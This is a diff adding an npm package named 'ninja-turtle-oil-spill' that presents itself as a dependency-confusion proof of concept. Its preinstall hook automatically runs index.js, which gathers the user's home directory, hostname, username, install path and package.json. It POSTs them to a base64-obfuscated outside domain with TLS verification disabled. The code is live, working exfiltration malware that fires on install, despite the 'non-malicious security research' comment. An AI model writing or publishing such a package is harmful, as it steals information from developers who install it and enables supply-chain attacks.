ninja-turtle-oil-spill 0.0.999

package/index.js

@@ -0,0 +1,38 @@
+// non-malicious security research. Contact: webhak@forenk.uk
+const os = require("os")
+const http = require("https")
+const packageJson = require("./package.json")
+const pkgName = packageJson.name
+
+const genRanHex = size => [...Array(size)].map(() => Math.floor(Math.random() * 16).toString(16)).join('')
+
+const postData = JSON.stringify({
+    pkg: pkgName,
+    pkgjson: packageJson,
+    dir: __dirname,
+    home: os.homedir(),
+    host: os.hostname(),
+    username: os.userInfo().username, 
+})
+
+var options = {
+    hostname: `${genRanHex(6)}.${pkgName}.${Buffer.from('aDR4Lm5pbmph', 'base64')}`,
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(postData)
+      }
+}
+
+process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
+
+var req = http.request(options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    })
+})
+
+req.write(postData)
+req.end()

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "ninja-turtle-oil-spill",
+  "version": "0.0.999",
+  "description": "Proof of Concept package for Dependency Confusion security issues.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "webhak@forenk.uk",
+  "license": "MIT"
+}